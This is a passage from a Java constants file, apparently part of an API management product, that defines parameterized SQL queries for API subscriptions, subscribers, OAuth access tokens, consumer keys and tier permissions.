" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" API.API_TYPE AS API_TYPE, " +
" SUBS.APPLICATION_ID AS APPLICATION_ID, " +
" SUBS.TIER_ID AS TIER_ID, " +
" SUBS.TIER_ID_PENDING AS TIER_ID_PENDING, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" SUBS.UUID AS UUID, " +
" SUBS.CREATED_TIME AS CREATED_TIME, " +
" SUBS.UPDATED_TIME AS UPDATED_TIME, " +
" API.API_ID AS API_ID " +
" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_API API " +
" WHERE " +
" API.API_ID = SUBS.API_ID " +
" AND UUID = ?";
public static final String GET_TENANT_SUBSCRIBER_SQL =
" SELECT " +
" SUBSCRIBER_ID, " +
" USER_ID, " +
" TENANT_ID, " +
" EMAIL_ADDRESS, " +
" DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER " +
" WHERE " +
" USER_ID = ? " +
" AND TENANT_ID = ?";
public static final String GET_TENANT_SUBSCRIBER_CASE_INSENSITIVE_SQL =
" SELECT " +
" SUBSCRIBER_ID, " +
" USER_ID, " +
" TENANT_ID, " +
" EMAIL_ADDRESS, " +
" DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER " +
" WHERE " +
" LOWER(USER_ID) = LOWER(?) " +
" AND TENANT_ID = ?";
public static final String GET_API_BY_CONSUMER_KEY_SQL =
" SELECT" +
" API.API_PROVIDER," +
" API.API_NAME," +
" API.API_VERSION " +
" FROM" +
" AM_SUBSCRIPTION SUB," +
" AM_SUBSCRIPTION_KEY_MAPPING SKM, " +
" AM_API API " +
" WHERE" +
" SKM.ACCESS_TOKEN=?" +
" AND SKM.SUBSCRIPTION_ID=SUB.SUBSCRIPTION_ID" +
" AND API.API_ID = SUB.API_ID";
public static final String GET_SUBSCRIBED_APIS_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID AS SUBS_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" SUBS.TIER_ID AS TIER_ID, " +
" APP.APPLICATION_ID AS APP_ID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" APP.NAME AS APP_NAME, " +
" APP.CALLBACK_URL AS CALLBACK_URL, " +
" SUBS.UUID AS SUB_UUID, " +
" APP.UUID AS APP_UUID " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUBS, " +
" AM_API API " +
" WHERE " +
" SUB.TENANT_ID = ? " +
" AND APP.APPLICATION_ID=SUBS.APPLICATION_ID " +
" AND SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND API.API_ID=SUBS.API_ID" +
" AND APP.NAME= ? " +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIBED_APIS_BY_ID_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID AS SUBS_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" SUBS.TIER_ID AS TIER_ID, " +
" APP.APPLICATION_ID AS APP_ID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" APP.NAME AS APP_NAME, " +
" APP.CALLBACK_URL AS CALLBACK_URL, " +
" SUBS.UUID AS SUB_UUID, " +
" APP.UUID AS APP_UUID, " +
" APP.CREATED_BY AS OWNER" +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUBS, " +
" AM_API API " +
" WHERE " +
" SUB.TENANT_ID = ? " +
" AND APP.APPLICATION_ID=SUBS.APPLICATION_ID " +
" AND SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND API.API_ID=SUBS.API_ID" +
" AND APP.APPLICATION_ID= ? " +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIPTION_COUNT_SQL =
" SELECT COUNT(*) AS SUB_COUNT " +
" FROM " +
" AM_SUBSCRIPTION SUBS, AM_APPLICATION APP, AM_SUBSCRIBER SUB " +
" WHERE SUBS.SUBS_CREATE_STATE ='" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'" +
" AND SUBS.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.NAME=?" +
" AND APP.SUBSCRIBER_ID= SUB.SUBSCRIBER_ID" +
" AND SUB.TENANT_ID=?";
public static final String GET_SUBSCRIPTION_COUNT_BY_APP_ID_SQL =
" SELECT COUNT(*) AS SUB_COUNT " +
" FROM " +
" AM_SUBSCRIPTION SUBS, AM_APPLICATION APP, AM_SUBSCRIBER SUB " +
" WHERE SUBS.SUBS_CREATE_STATE ='" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'" +
" AND SUBS.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.APPLICATION_ID=?" +
" AND APP.SUBSCRIBER_ID= SUB.SUBSCRIBER_ID" +
" AND SUB.TENANT_ID=?";
public static final String GET_SUBSCRIPTION_COUNT_CASE_INSENSITIVE_SQL =
" SELECT COUNT(*) AS SUB_COUNT " +
" FROM " +
" AM_SUBSCRIPTION SUBS,AM_APPLICATION APP,AM_SUBSCRIBER SUB " +
" WHERE " +
" SUBS.SUBS_CREATE_STATE ='" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'" +
" AND SUBS.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.NAME=?" +
" AND APP.SUBSCRIBER_ID= SUB.SUBSCRIBER_ID" +
" AND SUB.TENANT_ID=?";
public static final String GET_SUBSCRIPTION_COUNT_BY_APP_ID_CASE_INSENSITIVE_SQL =
" SELECT COUNT(*) AS SUB_COUNT " +
" FROM " +
" AM_SUBSCRIPTION SUBS,AM_APPLICATION APP,AM_SUBSCRIBER SUB " +
" WHERE " +
" SUBS.SUBS_CREATE_STATE ='" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'" +
" AND SUBS.APPLICATION_ID = APP.APPLICATION_ID" +
" AND APP.APPLICATION_ID=?" +
" AND APP.SUBSCRIBER_ID= SUB.SUBSCRIBER_ID" +
" AND SUB.TENANT_ID=?";
public static final String GET_PAGINATED_SUBSCRIBED_APIS_SQL =
" SELECT " +
" API.API_TYPE AS TYPE, " +
" SUBS.UUID AS SUB_UUID, " +
" SUBS.SUBSCRIPTION_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" SUBS.TIER_ID AS TIER_ID, " +
" SUBS.TIER_ID_PENDING AS TIER_ID_PENDING, " +
" APP.APPLICATION_ID AS APP_ID, " +
" APP.UUID AS APP_UUID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" APP.NAME AS APP_NAME, " +
" APP.CALLBACK_URL AS CALLBACK_URL " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUBS, " +
" AM_API API " +
" WHERE " +
" SUB.TENANT_ID = ? " +
" AND SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SUBS.APPLICATION_ID " +
" AND API.API_ID=SUBS.API_ID" +
" AND APP.NAME= ? " +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_PAGINATED_SUBSCRIBED_APIS_BY_APP_ID_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" SUBS.TIER_ID AS TIER_ID, " +
" SUBS.TIER_ID_PENDING AS TIER_ID_PENDING, " +
" APP.APPLICATION_ID AS APP_ID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" APP.NAME AS APP_NAME, " +
" APP.CALLBACK_URL AS CALLBACK_URL " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUBS, " +
" AM_API API " +
" WHERE " +
" SUB.TENANT_ID = ? " +
" AND SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SUBS.APPLICATION_ID " +
" AND API.API_ID=SUBS.API_ID " +
" AND APP.APPLICATION_ID= ? " +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIBED_APIS_OF_SUBSCRIBER_SQL =
" SELECT " +
" API.API_TYPE AS TYPE, " +
" SUBS.SUBSCRIPTION_ID AS SUBS_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" SUBS.TIER_ID AS TIER_ID, " +
" SUBS.TIER_ID_PENDING AS TIER_ID_PENDING, " +
" APP.APPLICATION_ID AS APP_ID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE, " +
" APP.NAME AS APP_NAME, " +
" APP.TOKEN_TYPE AS APP_TOKEN_TYPE, " +
" APP.CALLBACK_URL AS CALLBACK_URL, " +
" SUBS.UUID AS SUB_UUID, " +
" APP.UUID AS APP_UUID, " +
" APP.CREATED_BY AS OWNER" +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUBS, " +
" AM_API API " +
" WHERE " +
" SUB.TENANT_ID = ? " +
" AND SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID=SUBS.APPLICATION_ID" +
" AND API.API_ID=SUBS.API_ID " +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_API_KEY_BY_SUBSCRIPTION_SQL =
" SELECT " +
" SKM.ACCESS_TOKEN AS ACCESS_TOKEN," +
" SKM.KEY_TYPE AS TOKEN_TYPE " +
" FROM" +
" AM_SUBSCRIPTION_KEY_MAPPING SKM " +
" WHERE" +
" SKM.SUBSCRIPTION_ID = ?";
public static final String GET_SCOPE_BY_TOKEN_SQL =
" SELECT ISAT.TOKEN_SCOPE " +
" FROM " +
APIConstants.ACCESS_TOKEN_STORE_TABLE + " IAT," +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT " +
" WHERE " +
" IAT.ACCESS_TOKEN= ?" +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID";
public static final String IS_ACCESS_TOKEN_EXISTS_PREFIX = " SELECT ACCESS_TOKEN " + " FROM ";
public static final String IS_ACCESS_TOKEN_EXISTS_SUFFIX = " WHERE ACCESS_TOKEN= ? ";
public static final String IS_ACCESS_TOKEN_REVOKED_PREFIX = " SELECT TOKEN_STATE " + " FROM ";
public static final String IS_ACCESS_TOKE_REVOKED_SUFFIX = " WHERE ACCESS_TOKEN= ? ";
public static final String GET_ACCESS_TOKEN_DATA_PREFIX =
" SELECT " +
" IAT.ACCESS_TOKEN, " +
" IAT.AUTHZ_USER, " +
" IAT.USER_DOMAIN, " +
" ISAT.TOKEN_SCOPE, " +
" ICA.CONSUMER_KEY, " +
" IAT.TIME_CREATED, " +
" IAT.VALIDITY_PERIOD " +
" FROM ";
public static final String GET_ACCESS_TOKEN_DATA_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT, " +
APIConstants.CONSUMER_KEY_SECRET_TABLE + " ICA " +
" WHERE IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" AND IAT.ACCESS_TOKEN= ? " +
" AND IAT.TOKEN_STATE='ACTIVE' ";
public static final String GET_TOKEN_SQL_PREFIX =
" SELECT " +
" IAT.ACCESS_TOKEN, " +
" IAT.AUTHZ_USER, " +
" IAT.USER_DOMAIN, " +
" ISAT.TOKEN_SCOPE, " +
" ICA.CONSUMER_KEY, " +
" IAT.TIME_CREATED, " +
" IAT.VALIDITY_PERIOD " +
" FROM ";
public static final String GET_TOKEN_SQL_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT, " +
APIConstants.CONSUMER_KEY_SECRET_TABLE + " ICA " +
" WHERE " +
" IAT.TOKEN_STATE='ACTIVE' " +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" ORDER BY IAT.TOKEN_ID";
public static final String GET_ACCESS_TOKEN_BY_USER_PREFIX =
" SELECT " +
" IAT.ACCESS_TOKEN, " +
" IAT.AUTHZ_USER, " +
" IAT.USER_DOMAIN, " +
" ISAT.TOKEN_SCOPE, " +
" ICA.CONSUMER_KEY, " +
" IAT.TIME_CREATED, " +
" IAT.VALIDITY_PERIOD " +
" FROM ";
public static final String GET_ACCESS_TOKEN_BY_USER_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT, " +
APIConstants.CONSUMER_KEY_SECRET_TABLE + " ICA " +
" WHERE IAT.AUTHZ_USER= ? " +
" AND IAT.TOKEN_STATE='ACTIVE'" +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" ORDER BY IAT.TOKEN_ID";
public static final String GET_TOKEN_BY_DATE_PREFIX =
" SELECT " +
" IAT.ACCESS_TOKEN, " +
" IAT.AUTHZ_USER, " +
" IAT.USER_DOMAIN, " +
" ISAT.TOKEN_SCOPE, " +
" ICA.CONSUMER_KEY, " +
" IAT.TIME_CREATED, " +
" IAT.VALIDITY_PERIOD " +
" FROM ";
public static final String GET_TOKEN_BY_DATE_AFTER_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT, " +
APIConstants.CONSUMER_KEY_SECRET_TABLE + " ICA " +
" WHERE " +
" IAT.TOKEN_STATE='ACTIVE' " +
" AND IAT.TIME_CREATED >= ? " +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" ORDER BY IAT.TOKEN_ID";
public static final String GET_TOKEN_BY_DATE_BEFORE_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT, " +
APIConstants.CONSUMER_KEY_SECRET_TABLE + " ICA " +
" WHERE " +
" IAT.TOKEN_STATE='ACTIVE' " +
" AND IAT.TIME_CREATED <= ? " +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" ORDER BY IAT.TOKEN_ID";
public static final String GET_CLIENT_OF_APPLICATION_SQL =
" SELECT CONSUMER_KEY,KEY_MANAGER " +
" FROM AM_APPLICATION_KEY_MAPPING " +
" WHERE APPLICATION_ID = ? AND KEY_TYPE = ?";
public static final String GET_CONSUMER_KEYS_OF_APPLICATION_SQL =
" SELECT CONSUMER_KEY " +
" FROM AM_APPLICATION_KEY_MAPPING " +
" WHERE APPLICATION_ID = ?";
public static final String GET_ACCESS_TOKEN_INFO_BY_CONSUMER_KEY_PREFIX =
" ICA.CONSUMER_KEY AS CONSUMER_KEY," +
" ICA.CONSUMER_SECRET AS CONSUMER_SECRET," +
" ICA.GRANT_TYPES AS GRANT_TYPES," +
" ICA.CALLBACK_URL AS CALLBACK_URL," +
" IAT.ACCESS_TOKEN AS ACCESS_TOKEN," +
" IAT.VALIDITY_PERIOD AS VALIDITY_PERIOD," +
" ISAT.TOKEN_SCOPE AS TOKEN_SCOPE" +
" FROM ";
public static final String GET_ACCESS_TOKEN_INFO_BY_CONSUMER_KEY_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT," +
" IDN_OAUTH_CONSUMER_APPS ICA " +
" WHERE" +
" ICA.CONSUMER_KEY = ? " +
" AND IAT.USER_TYPE = ? " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND (IAT.TOKEN_STATE = 'ACTIVE' OR IAT.TOKEN_STATE = 'EXPIRED' OR IAT.TOKEN_STATE = 'REVOKED') " +
" ORDER BY IAT.TIME_CREATED DESC";
public static final String GET_ACCESS_TOKEN_INFO_BY_CONSUMER_KEY_ORACLE_PREFIX =
" SELECT " +
" CONSUMER_KEY, " +
" CONSUMER_SECRET, " +
" GRANT_TYPES, " +
" CALLBACK_URL, " +
" ACCESS_TOKEN, " +
" VALIDITY_PERIOD, " +
" TOKEN_SCOPE "+
" FROM (" +
" SELECT " +
" ICA.CONSUMER_KEY AS CONSUMER_KEY, " +
" ICA.CONSUMER_SECRET AS CONSUMER_SECRET, " +
" ICA.GRANT_TYPES AS GRANT_TYPES, " +
" ICA.CALLBACK_URL AS CALLBACK_URL, " +
" IAT.ACCESS_TOKEN AS ACCESS_TOKEN, " +
" IAT.VALIDITY_PERIOD AS VALIDITY_PERIOD, " +
" ISAT.TOKEN_SCOPE AS TOKEN_SCOPE " +
" FROM ";
public static final String GET_ACCESS_TOKEN_INFO_BY_CONSUMER_KEY_ORACLE_SUFFIX =
" IAT, " +
APIConstants.TOKEN_SCOPE_ASSOCIATION_TABLE + " ISAT," +
" IDN_OAUTH_CONSUMER_APPS ICA " +
" WHERE " +
" ICA.CONSUMER_KEY = ? " +
" AND IAT.USER_TYPE = ? " +
" AND IAT.CONSUMER_KEY_ID = ICA.ID " +
" AND IAT.TOKEN_ID = ISAT.TOKEN_ID " +
" AND (IAT.TOKEN_STATE = 'ACTIVE' OR IAT.TOKEN_STATE = 'EXPIRED' OR IAT.TOKEN_STATE = 'REVOKED') " +
" ORDER BY IAT.TIME_CREATED DESC) ";
//--------------------New tier permission management
public static final String GET_THROTTLE_TIER_PERMISSION_ID_SQL =
" SELECT THROTTLE_TIER_PERMISSIONS_ID " +
" FROM AM_THROTTLE_TIER_PERMISSIONS " +
" WHERE TIER = ? AND " + "TENANT_ID = ?";
public static final String ADD_THROTTLE_TIER_PERMISSION_SQL =
" INSERT INTO" +
" AM_THROTTLE_TIER_PERMISSIONS (TIER, PERMISSIONS_TYPE, ROLES, TENANT_ID)" +
" VALUES(?, ?, ?, ?)";
public static final String UPDATE_THROTTLE_TIER_PERMISSION_SQL =
" UPDATE" +
" AM_THROTTLE_TIER_PERMISSIONS " +
" SET " +
" TIER = ?, " +
" PERMISSIONS_TYPE = ?," +
" ROLES = ? " +
" WHERE " +
" THROTTLE_TIER_PERMISSIONS_ID = ? " +
" AND TENANT_ID = ?";
public static final String GET_THROTTLE_TIER_PERMISSIONS_SQL =
" SELECT TIER,PERMISSIONS_TYPE, ROLES " +
" FROM AM_THROTTLE_TIER_PERMISSIONS " +
" WHERE TENANT_ID = ?";
public static final String GET_THROTTLE_TIER_PERMISSION_SQL =
" SELECT PERMISSIONS_TYPE, ROLES " +
" FROM AM_THROTTLE_TIER_PERMISSIONS " +
" WHERE TIER = ? AND TENANT_ID = ?";
//--------------------
public static final String GET_TIER_PERMISSION_ID_SQL =
" SELECT TIER_PERMISSIONS_ID " +
" FROM AM_TIER_PERMISSIONS " +
" WHERE TIER = ? AND " + "TENANT_ID = ?";
public static final String ADD_TIER_PERMISSION_SQL =
" INSERT INTO" +
" AM_TIER_PERMISSIONS (TIER, PERMISSIONS_TYPE, ROLES, TENANT_ID)" +
" VALUES(?, ?, ?, ?)";
public static final String UPDATE_TIER_PERMISSION_SQL =
" UPDATE" +
" AM_TIER_PERMISSIONS " +
" SET " +
" TIER = ?, " +
" PERMISSIONS_TYPE = ?," +
" ROLES = ? " +
" WHERE " +
" TIER_PERMISSIONS_ID = ? " +
" AND TENANT_ID = ?";
public static final String GET_TIER_PERMISSIONS_SQL =
" SELECT TIER , PERMISSIONS_TYPE , ROLES " +
" FROM AM_TIER_PERMISSIONS " +
" WHERE TENANT_ID = ?";
public static final String GET_PERMISSION_OF_TIER_SQL =
" SELECT PERMISSIONS_TYPE, ROLES " +
" FROM AM_TIER_PERMISSIONS " +
" WHERE TIER = ? AND TENANT_ID = ?";
public static final String GET_KEY_SQL_PREFIX =
" SELECT " +
" ICA.CONSUMER_KEY AS CONSUMER_KEY," +
" ICA.CONSUMER_SECRET AS CONSUMER_SECRET," +
" IAT.ACCESS_TOKEN AS ACCESS_TOKEN," +
" AKM.KEY_TYPE AS TOKEN_TYPE " +
" FROM" +
" AM_APPLICATION_KEY_MAPPING AKM,";
public static final String GET_KEY_SQL_SUFFIX =
" IAT," +
" IDN_OAUTH_CONSUMER_APPS ICA " +
" WHERE" +
" AKM.APPLICATION_ID = ? " +
" AND ICA.CONSUMER_KEY = AKM.CONSUMER_KEY " +
" AND ICA.ID = IAT.CONSUMER_KEY_ID";
public static final String GET_KEY_SQL_OF_SUBSCRIPTION_ID_PREFIX =
" SELECT " +
" IAT.ACCESS_TOKEN AS ACCESS_TOKEN," +
" IAT.TOKEN_STATE AS TOKEN_STATE " +
" FROM" +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_SUBSCRIPTION SM,";
public static final String GET_KEY_SQL_OF_SUBSCRIPTION_ID_SUFFIX =
" IAT," +
" IDN_OAUTH_CONSUMER_APPS ICA " +
" WHERE" +
" SM.SUBSCRIPTION_ID = ? " +
" AND SM.APPLICATION_ID= AKM.APPLICATION_ID " +
" AND ICA.CONSUMER_KEY = AKM.CONSUMER_KEY " +
" AND ICA.ID = IAT.CONSUMER_KEY_ID";
public static final String GET_SUBSCRIBERS_OF_PROVIDER_SQL =
" SELECT " +
" SUBS.USER_ID AS USER_ID," +
" SUBS.EMAIL_ADDRESS AS EMAIL_ADDRESS, " +
" SUBS.DATE_SUBSCRIBED AS DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER SUBS," +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION SUB, " +
" AM_API API " +
" WHERE " +
" SUB.APPLICATION_ID = APP.APPLICATION_ID " +
" AND SUBS. SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND API.API_ID = SUB.API_ID " +
" AND API.API_PROVIDER = ?" +
" AND SUB.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIBERS_OF_API_SQL =
" SELECT DISTINCT SB.USER_ID, SB.DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER SB, " +
" AM_SUBSCRIPTION SP," +
" AM_APPLICATION APP," +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER=? " +
" AND API.API_NAME=? " +
" AND API.API_VERSION=? " +
" AND SP.APPLICATION_ID=APP.APPLICATION_ID" +
" AND APP.SUBSCRIBER_ID=SB.SUBSCRIBER_ID " +
" AND API.API_ID = SP.API_ID" +
" AND SP.SUB_STATUS != '" + APIConstants.SubscriptionStatus.REJECTED + "'" +
" AND SP.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_API_SUBSCRIPTION_COUNT_BY_API_SQL =
" SELECT" +
" COUNT(SUB.SUBSCRIPTION_ID) AS SUB_ID " +
" FROM " +
" AM_SUBSCRIPTION SUB, " +
" AM_API API " +
" WHERE API.API_PROVIDER=? " +
" AND API.API_NAME=?" +
" AND API.API_VERSION=?" +
" AND API.API_ID=SUB.API_ID" +
" AND SUB.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String UPDATE_SUBSCRIPTION_OF_APPLICATION_SQL =
" UPDATE AM_SUBSCRIPTION " +
" SET " +
" SUB_STATUS = ?, " +
" UPDATED_BY = ?, " +
" UPDATED_TIME = ? " +
" WHERE " +
" API_ID = ? " +
" AND APPLICATION_ID = ?";
public static final String UPDATE_SUBSCRIPTION_OF_UUID_SQL =
" UPDATE AM_SUBSCRIPTION " +
" SET " +
" SUB_STATUS = ?, " +
" UPDATED_BY = ?, " +
" UPDATED_TIME = ? " +
" WHERE " +
" UUID = ?";
public static final String UPDATE_SUBSCRIPTION_STATUS_SQL =
" UPDATE AM_SUBSCRIPTION " +
" SET SUB_STATUS = ? " +
" WHERE SUBSCRIPTION_ID = ?";
public static final String UPDATE_SUBSCRIPTION_STATUS_AND_TIER_SQL =
" UPDATE AM_SUBSCRIPTION " +
" SET TIER_ID_PENDING = ? " +
" , TIER_ID = ? " +
" , SUB_STATUS = ? " +
" WHERE SUBSCRIPTION_ID = ?";
public static final String UPDATE_REFRESHED_APPLICATION_ACCESS_TOKEN_PREFIX = "UPDATE ";
public static final String UPDATE_REFRESHED_APPLICATION_ACCESS_TOKEN_SUFFIX =
" SET " +
" USER_TYPE=?, " +
" VALIDITY_PERIOD=? " +
" WHERE " +
" ACCESS_TOKEN=?";
public static final String DELETE_ACCSS_ALLOWED_DOMAINS_SQL =
" DELETE FROM AM_APP_KEY_DOMAIN_MAPPING WHERE CONSUMER_KEY=?";
public static final String GET_REGISTRATION_APPROVAL_STATUS_SQL =
" SELECT KEY_MANAGER,STATE FROM AM_APPLICATION_KEY_MAPPING WHERE APPLICATION_ID = ? AND KEY_TYPE =?";
public static final String UPDATE_APPLICAITON_KEY_TYPE_MAPPINGS_SQL =
" UPDATE AM_APPLICATION_KEY_MAPPING SET CONSUMER_KEY = ? , APP_INFO = ? WHERE APPLICATION_ID = ? AND " +
"KEY_TYPE = ? AND KEY_MANAGER = ?";
public static final String UPDATE_APPLICATION_KEY_TYPE_MAPPINGS_METADATA_SQL =
" UPDATE AM_APPLICATION_KEY_MAPPING SET APP_INFO = ? WHERE APPLICATION_ID = ? AND " +
"KEY_TYPE = ? AND KEY_MANAGER = ?";
public static final String ADD_APPLICATION_KEY_TYPE_MAPPING_SQL =
" INSERT INTO " +
" AM_APPLICATION_KEY_MAPPING (APPLICATION_ID,CONSUMER_KEY,KEY_TYPE,STATE,CREATE_MODE,KEY_MANAGER,UUID) " +
" VALUES (?,?,?,?,?,?,?)";
public static final String UPDATE_APPLICATION_KEY_MAPPING_SQL =
" UPDATE AM_APPLICATION_KEY_MAPPING SET STATE = ? WHERE APPLICATION_ID = ? AND KEY_TYPE = ? AND " +
"KEY_MANAGER=?";
public static final String GET_SUBSCRIPTION_SQL =
" SELECT " +
" SUBS.TIER_ID ," +
" API.API_PROVIDER ," +
" API.API_NAME ," +
" API.API_VERSION ," +
" SUBS.APPLICATION_ID " +
" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_SUBSCRIBER SUB, " +
" AM_APPLICATION APP, " +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND SUB.USER_ID = ?" +
" AND SUB.TENANT_ID = ? " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID" +
" AND API.API_ID = SUBS.API_ID" +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_SUBSCRIPTION_CASE_INSENSITIVE_SQL =
" SELECT " +
" SUBS.TIER_ID ," +
" API.API_PROVIDER ," +
" API.API_NAME ," +
" API.API_VERSION ," +
" SUBS.APPLICATION_ID " +
" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_SUBSCRIBER SUB, " +
" AM_APPLICATION APP, " +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND LOWER(SUB.USER_ID) = LOWER(?)" +
" AND SUB.TENANT_ID = ? " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID" +
" AND API.API_ID = SUBS.API_ID" +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_APP_SUBSCRIPTION_TO_API_SQL =
" SELECT " +
" SUBS.TIER_ID ," +
" API.API_PROVIDER ," +
" API.API_NAME ," +
" API.API_VERSION ," +
" SUBS.APPLICATION_ID " +
" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_SUBSCRIBER SUB, " +
" AM_APPLICATION APP, " +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND SUB.USER_ID = ?" +
" AND SUB.TENANT_ID = ? " +
" AND SUBS.APPLICATION_ID = ? " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID" +
" AND API.API_ID = SUBS.API_ID" +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_APP_SUBSCRIPTION_TO_API_CASE_INSENSITIVE_SQL =
" SELECT " +
" SUBS.TIER_ID ," +
" API.API_PROVIDER ," +
" API.API_NAME ," +
" API.API_VERSION ," +
" SUBS.APPLICATION_ID " +
